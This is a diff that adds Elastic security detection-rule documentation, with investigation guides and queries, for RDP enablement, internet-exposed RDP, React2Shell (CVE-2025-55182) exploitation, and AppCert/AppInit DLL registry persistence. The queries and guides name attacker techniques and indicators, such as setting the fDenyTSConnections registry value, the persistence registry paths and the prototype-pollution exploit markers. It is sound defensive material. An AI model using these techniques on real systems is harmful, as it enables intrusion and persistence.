URL: https://attack.mitre.org/techniques/T1037/004/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Boot or Logon Initialization Scripts +** ID: T1037 +** Reference URL: https://attack.mitre.org/techniques/T1037/ +* Sub-technique: +** Name: RC Scripts +** ID: T1037.004 +** Reference URL: https://attack.mitre.org/techniques/T1037/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-rdp-enabled-via-registry.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-rdp-enabled-via-registry.asciidoc new file mode 100644 index 0000000000..ff87bb0e2c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-rdp-enabled-via-registry.asciidoc @@ -0,0 +1,178 @@ +[[prebuilt-rule-8-19-34-rdp-enabled-via-registry]] +=== RDP Enabled via Registry + +Identifies registry write modifications to enable Remote Desktop Protocol (RDP) access. This could be indicative of adversary lateral movement preparation. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.registry-* +* winlogbeat-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Lateral Movement +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 318 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating RDP Enabled via Registry* + + +Microsoft Remote Desktop Protocol (RDP) is a proprietary Microsoft protocol that enables remote connections to other computers, typically over TCP port 3389. + +Attackers can use RDP to conduct their actions interactively. Ransomware operators frequently use RDP to access victim servers, often using privileged accounts. + +This rule detects modification of the fDenyTSConnections registry key to the value `0`, which specifies that remote desktop connections are enabled. Attackers can abuse remote registry, use psexec, etc., to enable RDP and move laterally. + + +*Possible investigation steps* + + +- Identify the user account that performed the action and whether it should perform this kind of action. +- Contact the user to check if they are aware of the operation. +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Check whether it makes sense to enable RDP to this host, given its role in the environment. +- Check if the host is directly exposed to the internet. +- Check whether privileged accounts accessed the host shortly after the modification. +- Review network events within a short timespan of this alert for incoming RDP connection attempts. + + +*False positive analysis* + + +- This mechanism can be used legitimately. Check whether the user should be performing this kind of activity, whether they are aware of it, whether RDP should be open, and whether the action exposes the environment to unnecessary risks. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- If RDP is needed, make sure to secure it using firewall rules: + - Allowlist RDP traffic to specific trusted hosts. + - Restrict RDP logins to authorized non-administrator accounts, where possible. +- Isolate the involved hosts to prevent further post-compromise behavior. +- Review the privileges assigned to the involved users to ensure that the least privilege principle is being followed. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-reg-setup[Sysmon Registry Events] + + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.type == "change" and + registry.value : "fDenyTSConnections" and + registry.data.strings : ("0", "0x00000000") and + not process.executable : ( + "?:\\Windows\\System32\\SystemPropertiesRemote.exe", + "?:\\Windows\\System32\\SystemPropertiesComputerName.exe", + "?:\\Windows\\System32\\SystemPropertiesAdvanced.exe", + "?:\\Windows\\System32\\SystemSettingsAdminFlows.exe", + "?:\\Windows\\WinSxS\\*\\TiWorker.exe", + "?:\\Windows\\system32\\svchost.exe", + "\\Device\\HarddiskVolume*\\Windows\\System32\\SystemPropertiesRemote.exe", + "\\Device\\HarddiskVolume*\\Windows\\System32\\SystemPropertiesComputerName.exe", + "\\Device\\HarddiskVolume*\\Windows\\System32\\SystemPropertiesAdvanced.exe", + "\\Device\\HarddiskVolume*\\Windows\\System32\\SystemSettingsAdminFlows.exe", + "\\Device\\HarddiskVolume*\\Windows\\WinSxS\\*\\TiWorker.exe", + "\\Device\\HarddiskVolume*\\Windows\\system32\\svchost.exe" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: Remote Desktop Protocol +** ID: T1021.001 +** Reference URL: https://attack.mitre.org/techniques/T1021/001/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Registry +** ID: T1112 +** Reference URL: https://attack.mitre.org/techniques/T1112/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-rdp-remote-desktop-protocol-from-the-internet.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-rdp-remote-desktop-protocol-from-the-internet.asciidoc new file mode 100644 index 0000000000..823c8caf3f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-rdp-remote-desktop-protocol-from-the-internet.asciidoc @@ -0,0 +1,185 @@ +[[prebuilt-rule-8-19-34-rdp-remote-desktop-protocol-from-the-internet]] +=== RDP (Remote Desktop Protocol) from the Internet + +This rule detects network events that may indicate the use of RDP traffic from the Internet. RDP is commonly used by system administrators to remotely control a system for maintenance or to use shared resources. It should almost never be directly exposed to the Internet, as it is frequently targeted and exploited by threat actors as an initial access or backdoor vector. + +*Rule type*: query + +*Rule indices*: + +* logs-network_traffic.* +* logs-panw.panos* +* logs-pfsense.log-* +* logs-zeek.* +* logs-corelight.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.iana.org/assignments/iana-ipv4-special-registry/iana-ipv4-special-registry.xhtml + +*Tags*: + +* Tactic: Command and Control +* Tactic: Lateral Movement +* Tactic: Initial Access +* Domain: Endpoint +* Use Case: Threat Detection +* Data Source: Corelight +* Data Source: PAN-OS +* Data Source: Network Traffic +* Data Source: pfSense +* Data Source: Zeek +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Custom Query (KQL) +* Domain: Network +* Data Source: Network Packet Capture + +*Version*: 113 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating RDP (Remote Desktop Protocol) from the Internet* + + +RDP allows administrators to remotely manage systems, but exposing it to the internet poses security risks. Adversaries exploit RDP for unauthorized access, often using it as an entry point for attacks. The detection rule identifies suspicious RDP traffic by monitoring TCP connections on port 3389 from external IPs, flagging potential threats for further investigation. + + +*Possible investigation steps* + + +- Review the source IP address flagged in the alert to determine if it is known or associated with any previous malicious activity. Check threat intelligence sources for any reported malicious behavior. +- Analyze the destination IP address to confirm it belongs to your internal network (10.0.0.0/8, 172.16.0.0/12, or 192.168.0.0/16) and identify the specific system targeted by the RDP connection. +- Examine network logs for any unusual or unexpected RDP traffic patterns from the source IP, such as repeated connection attempts or connections at odd hours, which may indicate brute force attempts or unauthorized access. +- Check for any recent changes or updates to firewall rules or security policies that might have inadvertently exposed RDP to the internet. +- Investigate the user accounts involved in the RDP session to ensure they are legitimate and have not been compromised. Look for any signs of unauthorized access or privilege escalation. +- Correlate the RDP traffic with other security events or alerts to identify any potential lateral movement or further malicious activity within the network. + + +*False positive analysis* + + +- Internal testing or maintenance activities may trigger the rule if RDP is temporarily exposed to the internet. To manage this, create exceptions for known internal IP addresses or scheduled maintenance windows. +- Legitimate third-party vendors or partners accessing systems via RDP for support purposes can be mistaken for threats. Establish a list of trusted external IP addresses and exclude them from the rule. +- Misconfigured network devices or security tools might inadvertently expose RDP to the internet, leading to false positives. Regularly audit network configurations and update the rule to exclude known benign sources. +- Cloud-based services or remote work solutions that use RDP over the internet can be flagged. Identify and whitelist these services' IP ranges to prevent unnecessary alerts. + + +*Response and remediation* + + +- Immediately block the external IP address identified in the alert from accessing the network to prevent further unauthorized RDP connections. +- Isolate the affected system from the network to contain any potential compromise and prevent lateral movement by the threat actor. +- Conduct a thorough review of the affected system for signs of compromise, such as unauthorized user accounts, changes in system configurations, or the presence of malware. +- Reset credentials for any accounts that were accessed or potentially compromised during the incident to prevent unauthorized access. +- Apply security patches and updates to the affected system and any other systems with RDP enabled to mitigate known vulnerabilities. +- Implement network segmentation to restrict RDP access to only trusted internal IP addresses and consider using a VPN for secure remote access. +- Escalate the incident to the security operations center (SOC) or incident response team for further analysis and to determine if additional systems are affected. + +==== Rule query + + +[source, js] +---------------------------------- +(data_stream.dataset: network_traffic.flow or (event.category: (network or network_traffic))) and + network.transport:tcp and (destination.port:3389 or data_stream.dataset:zeek.rdp) and + not source.ip:( + 10.0.0.0/8 or + 127.0.0.0/8 or + 169.254.0.0/16 or + 172.16.0.0/12 or + 192.0.0.0/24 or + 192.0.0.0/29 or + 192.0.0.8/32 or + 192.0.0.9/32 or + 192.0.0.10/32 or + 192.0.0.170/32 or + 192.0.0.171/32 or + 192.0.2.0/24 or + 192.31.196.0/24 or + 192.52.193.0/24 or + 192.168.0.0/16 or + 192.88.99.0/24 or + 224.0.0.0/4 or + 100.64.0.0/10 or + 192.175.48.0/24 or + 198.18.0.0/15 or + 198.51.100.0/24 or + 203.0.113.0/24 or + 240.0.0.0/4 or + "::1" or + "FE80::/10" or + "FF00::/8" + ) and + destination.ip:( + 10.0.0.0/8 or + 172.16.0.0/12 or + 192.168.0.0/16 + ) and + not ( + data_stream.dataset:"panw.panos" and ( + event.action:("flow_dropped" or "flow_denied") or + network.application:("incomplete" or "insufficient-data" or "not-applicable") + ) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: Remote Desktop Protocol +** ID: T1021.001 +** Reference URL: https://attack.mitre.org/techniques/T1021/001/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: External Remote Services +** ID: T1133 +** Reference URL: https://attack.mitre.org/techniques/T1133/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-react2shell-cve-2025-55182-exploitation-attempt.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-react2shell-cve-2025-55182-exploitation-attempt.asciidoc new file mode 100644 index 0000000000..3b1d0fe774 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-react2shell-cve-2025-55182-exploitation-attempt.asciidoc @@ -0,0 +1,146 @@ +[[prebuilt-rule-8-19-34-react2shell-cve-2025-55182-exploitation-attempt]] +=== React2Shell (CVE-2025-55182) Exploitation Attempt + +This rule detects exploitation attempts targeting CVE-2025-55182, a critical remote code execution vulnerability in React Server Components (RSC) Flight protocol. The vulnerability allows attackers to execute arbitrary code on the server by sending specially crafted deserialization payloads that exploit prototype chain traversal to access the Function constructor. This rule focuses on high-fidelity indicators of active exploitation including successful command execution responses and prototype pollution attack patterns. + +*Rule type*: eql + +*Rule indices*: + +* logs-network_traffic.http* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.wiz.io/blog/critical-vulnerability-in-react-cve-2025-55182 +* https://github.com/assetnote/react2shell-scanner +* https://slcyber.io/research-center/high-fidelity-detection-mechanism-for-rsc-next-js-rce-cve-2025-55182-cve-2025-66478/ +* https://github.com/msanft/CVE-2025-55182 + +*Tags*: + +* Domain: Network +* Domain: Application +* Domain: Web +* Use Case: Threat Detection +* Use Case: Vulnerability +* Tactic: Initial Access +* Tactic: Execution +* Data Source: Network Packet Capture +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Profile: Recommended +* Threat: Vulnerability Exploit +* Rule Type: Event Correlation (EQL) +* Vuln: CVE-2025-55182 +* Threat: React2Shell + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating React2Shell (CVE-2025-55182) Exploitation Attempt* + + +This rule detects exploitation attempts targeting CVE-2025-55182, a critical remote code execution vulnerability in React's Flight protocol used by Next.js and other RSC implementations. The vulnerability stems from insecure prototype chain traversal in the Flight deserializer, allowing attackers to access `__proto__`, `constructor`, and ultimately the `Function` constructor to execute arbitrary code. + + +*Possible investigation steps* + + +- Examine the full HTTP request body to identify the specific attack payload and command being executed. +- Check the response body for `E{"digest":"..."}` patterns which contain command output from successful exploitation. +- Identify the target application and verify if it runs vulnerable React (< 19.1.0) or Next.js (< 15.3.2) versions. +- Review the source IP for other reconnaissance or exploitation attempts against web applications. +- Check for the `Next-Action` header which is required for the exploit to work. +- Correlate with process execution logs to identify if child processes (e.g., shell commands) were spawned by the Node.js process. + + +*False positive analysis* + + +- Legitimate React Server Components traffic will NOT contain `__proto__`, `constructor:constructor`, or code execution patterns. +- Security scanning tools like react2shell-scanner may trigger this rule during authorized penetration testing. +- The combination of prototype pollution patterns with RSC-specific syntax is highly indicative of malicious activity. + + +*Response and remediation* + + +- Immediately update affected applications: React >= 19.1.0, Next.js >= 15.3.2. +- Block the source IP at the WAF/reverse proxy if exploitation is confirmed. +- If HTTP 500 or 303 responses with `digest` output were observed, assume successful code execution and investigate for compromise. +- Review server logs for evidence of command execution (file creation, network connections, process spawning). +- Implement WAF rules to block requests containing `__proto__` or `constructor:constructor` in POST bodies. + + +==== Rule query + + +[source, js] +---------------------------------- +network where http.request.method == "POST" and +( + // Successful CVE-2025-55182 RCE - command output in digest + ( + http.response.status_code in (500, 303) and + http.response.body.content like~ "*E{\"digest\"*" and + http.request.body.content regex~ """.*\$[0-9]+:[a-zA-Z_0-9]+:[a-zA-Z_0-9]+.*""" + ) or + // Prototype pollution attempts in RSC Flight data (never legitimate) + ( + http.request.body.content regex~ """.*\$[0-9]+:[a-zA-Z_0-9]+:[a-zA-Z_0-9]+.*""" and + ( + http.request.body.content like~ "*__proto__*" or + http.request.body.content like~ "*prototype*" + ) + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: JavaScript +** ID: T1059.007 +** Reference URL: https://attack.mitre.org/techniques/T1059/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-react2shell-network-security-alert.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-react2shell-network-security-alert.asciidoc new file mode 100644 index 0000000000..ead56e4060 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-react2shell-network-security-alert.asciidoc @@ -0,0 +1,139 @@ +[[prebuilt-rule-8-19-34-react2shell-network-security-alert]] +=== React2Shell Network Security Alert + +This rule identifies network security alerts related to CVE-2025-55182 exploitation attempts from different network security integrations. CVE-2025-55182 is a critical remote code execution vulnerability in React Server Components (RSC) Flight protocol. The vulnerability allows attackers to execute arbitrary code on the server by sending specially crafted deserialization payloads that exploit prototype chain traversal to access the Function constructor. + +*Rule type*: query + +*Rule indices*: + +* logs-panw.panos* +* logs-cisco_ftd.* +* logs-fortinet_fortigate.* +* logs-suricata.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.wiz.io/blog/critical-vulnerability-in-react-cve-2025-55182 +* https://github.com/assetnote/react2shell-scanner +* https://slcyber.io/research-center/high-fidelity-detection-mechanism-for-rsc-next-js-rce-cve-2025-55182-cve-2025-66478/ +* https://github.com/msanft/CVE-2025-55182 + +*Tags*: + +* Domain: Network +* Domain: Application +* Domain: Web +* Use Case: Threat Detection +* Use Case: Vulnerability +* Tactic: Initial Access +* Tactic: Execution +* Data Source: PAN-OS +* Data Source: Fortinet +* Data Source: Suricata +* Data Source: Cisco FTD +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Vulnerability Exploit +* Rule Type: Custom Query (KQL) +* Vuln: CVE-2025-55182 +* Threat: React2Shell + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating React2Shell Network Security Alert* + + +This rule detects exploitation attempts targeting CVE-2025-55182, a critical remote code execution vulnerability in React's Flight protocol used by Next.js and other RSC implementations. The vulnerability stems from insecure prototype chain traversal in the Flight deserializer, allowing attackers to access `__proto__`, `constructor`, and ultimately the `Function` constructor to execute arbitrary code. + + +*Possible investigation steps* + + +- Examine the full HTTP request body to identify the specific attack payload and command being executed. +- Check the response body for `E{"digest":"..."}` patterns which contain command output from successful exploitation. +- Identify the target application and verify if it runs vulnerable React (< 19.1.0) or Next.js (< 15.3.2) versions. +- Review the source IP for other reconnaissance or exploitation attempts against web applications. +- Check for the `Next-Action` header which is required for the exploit to work. +- Correlate with process execution logs to identify if child processes (e.g., shell commands) were spawned by the Node.js process. + + +*False positive analysis* + + +- Legitimate React Server Components traffic will NOT contain `__proto__`, `constructor:constructor`, or code execution patterns. +- Security scanning tools like react2shell-scanner may trigger this rule during authorized penetration testing. +- The combination of prototype pollution patterns with RSC-specific syntax is highly indicative of malicious activity. + + +*Response and remediation* + + +- Immediately update affected applications: React >= 19.1.0, Next.js >= 15.3.2. +- Block the source IP at the WAF/reverse proxy if exploitation is confirmed. +- If HTTP 500 or 303 responses with `digest` output were observed, assume successful code execution and investigate for compromise. +- Review server logs for evidence of command execution (file creation, network connections, process spawning). +- Implement WAF rules to block requests containing `__proto__` or `constructor:constructor` in POST bodies. + + +==== Rule query + + +[source, js] +---------------------------------- +(data_stream.dataset:"cisco_ftd.log" and message:"SERVER-WEBAPP React Server Components remote code execution attempt") or +(data_stream.dataset:"fortinet_fortigate.log" and message:"applications3: React.Server.Components.react-flight.Remote.Code.Execution") or +(data_stream.dataset:"panw.panos" and event.action:"exploit_detected" and event.original :*React*Server*) or +(data_stream.dataset:("suricata_corelight" or "suricata.eve") and rule.name:*CVE-2025-55182*) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: JavaScript +** ID: T1059.007 +** Reference URL: https://attack.mitre.org/techniques/T1059/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-registry-persistence-via-appcert-dll.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-registry-persistence-via-appcert-dll.asciidoc new file mode 100644 index 0000000000..c211af937b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-registry-persistence-via-appcert-dll.asciidoc @@ -0,0 +1,165 @@ +[[prebuilt-rule-8-19-34-registry-persistence-via-appcert-dll]] +=== Registry Persistence via AppCert DLL + +Detects attempts to maintain persistence by creating registry keys using AppCert DLLs. AppCert DLLs are loaded by every process using the common API functions to create processes. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.registry-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-sentinel_one_cloud_funnel.* +* logs-m365_defender.event-* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Privilege Escalation +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Microsoft Defender XDR +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 419 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Registry Persistence via AppCert DLL* + + +AppCert DLLs are dynamic link libraries that can be configured to load with every process that uses common API functions to create processes on Windows systems. This feature is intended for legitimate use, such as application compatibility. However, adversaries can exploit this by inserting malicious DLLs into the registry path, ensuring their code executes persistently across system reboots. The detection rule identifies changes to specific registry paths associated with AppCert DLLs, flagging potential unauthorized modifications indicative of persistence or privilege escalation attempts. By monitoring these registry changes, security analysts can detect and respond to such threats effectively. + + +*Possible investigation steps* + + +- Review the specific registry path changes identified in the alert to confirm if they match the paths specified in the query: "HKLM\\SYSTEM\\*ControlSet*\\Control\\Session Manager\\AppCertDLLs\\*", "\\REGISTRY\\MACHINE\\SYSTEM\\*ControlSet*\\Control\\Session Manager\\AppCertDLLs\\*", or "MACHINE\\SYSTEM\\*ControlSet*\\Control\\Session Manager\\AppCertDLLs\\*". +- Check the timestamp of the registry change event to determine when the modification occurred and correlate it with other system activities or logs around the same time. +- Identify the user account or process responsible for the registry modification by examining the event logs or security logs to determine if it was an authorized change or potentially malicious activity. +- Investigate the DLL file specified in the registry change for any known malicious signatures or behaviors using threat intelligence sources or antivirus tools. +- Analyze the system for any additional indicators of compromise or persistence mechanisms, such as unusual scheduled tasks, startup items, or other registry modifications. +- Review historical data to determine if similar registry changes have occurred in the past, which might indicate a recurring threat or persistent adversary activity. + + +*False positive analysis* + + +- Legitimate software installations or updates may modify the AppCert DLL registry paths as part of their setup process. Users can handle these by creating exceptions for known and trusted software vendors. +- System administrators might intentionally configure AppCert DLLs for application compatibility purposes. To manage this, maintain a list of approved configurations and exclude these from alerts. +- Security tools or endpoint protection software might interact with these registry paths during routine scans or updates. Identify and whitelist these tools to prevent unnecessary alerts. +- Custom enterprise applications may use AppCert DLLs for legitimate process monitoring or enhancement. Collaborate with application developers to document these cases and exclude them from detection. +- Regular system maintenance scripts or group policies might inadvertently trigger changes in these registry paths. Review and adjust these scripts or policies to minimize false positives, or document and exclude them if they are necessary. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further spread or communication with potential command and control servers. +- Use endpoint detection and response (EDR) tools to terminate any suspicious processes associated with the malicious AppCert DLLs identified in the registry paths. +- Remove the unauthorized AppCert DLL entries from the registry paths: HKLM\SYSTEM\*ControlSet*\Control\Session Manager\AppCertDLLs\* to eliminate persistence mechanisms. +- Conduct a thorough scan of the system using updated antivirus and anti-malware tools to identify and remove any additional malicious files or remnants. +- Review and restore any system files or configurations that may have been altered by the malicious DLLs to ensure system integrity. +- Escalate the incident to the security operations center (SOC) or incident response team for further analysis and to determine if additional systems are affected. +- Implement enhanced monitoring and logging for the specific registry paths and related process creation activities to detect any future unauthorized changes promptly. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-reg-setup[Sysmon Registry Events] + + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.type == "change" and + registry.path : "*\\SYSTEM\\*ControlSet*\\Control\\Session Manager\\AppCertDLLs\\*" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: AppCert DLLs +** ID: T1546.009 +** Reference URL: https://attack.mitre.org/techniques/T1546/009/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: AppCert DLLs +** ID: T1546.009 +** Reference URL: https://attack.mitre.org/techniques/T1546/009/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-registry-persistence-via-appinit-dll.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-registry-persistence-via-appinit-dll.asciidoc new file mode 100644 index 0000000000..5e83a5b401 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-registry-persistence-via-appinit-dll.asciidoc @@ -0,0 +1,205 @@ +[[prebuilt-rule-8-19-34-registry-persistence-via-appinit-dll]] +=== Registry Persistence via AppInit DLL + +AppInit DLLs are dynamic-link libraries (DLLs) that are loaded into every process that creates a user interface (loads user32.dll) on Microsoft Windows operating systems. The AppInit DLL mechanism is used to load custom code into user-mode processes, allowing for the customization of the user interface and the behavior of Windows-based applications. Attackers who add those DLLs to the registry locations can execute code with elevated privileges, similar to process injection, and provide a solid and constant persistence on the machine. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.registry-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Resources: Osquery + +*Version*: 318 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Registry Persistence via AppInit DLL* + + +AppInit DLLs are dynamic-link libraries (DLLs) that are loaded into every process that creates a user interface (loads `user32.dll`) on Microsoft Windows operating systems. The AppInit DLL mechanism is used to 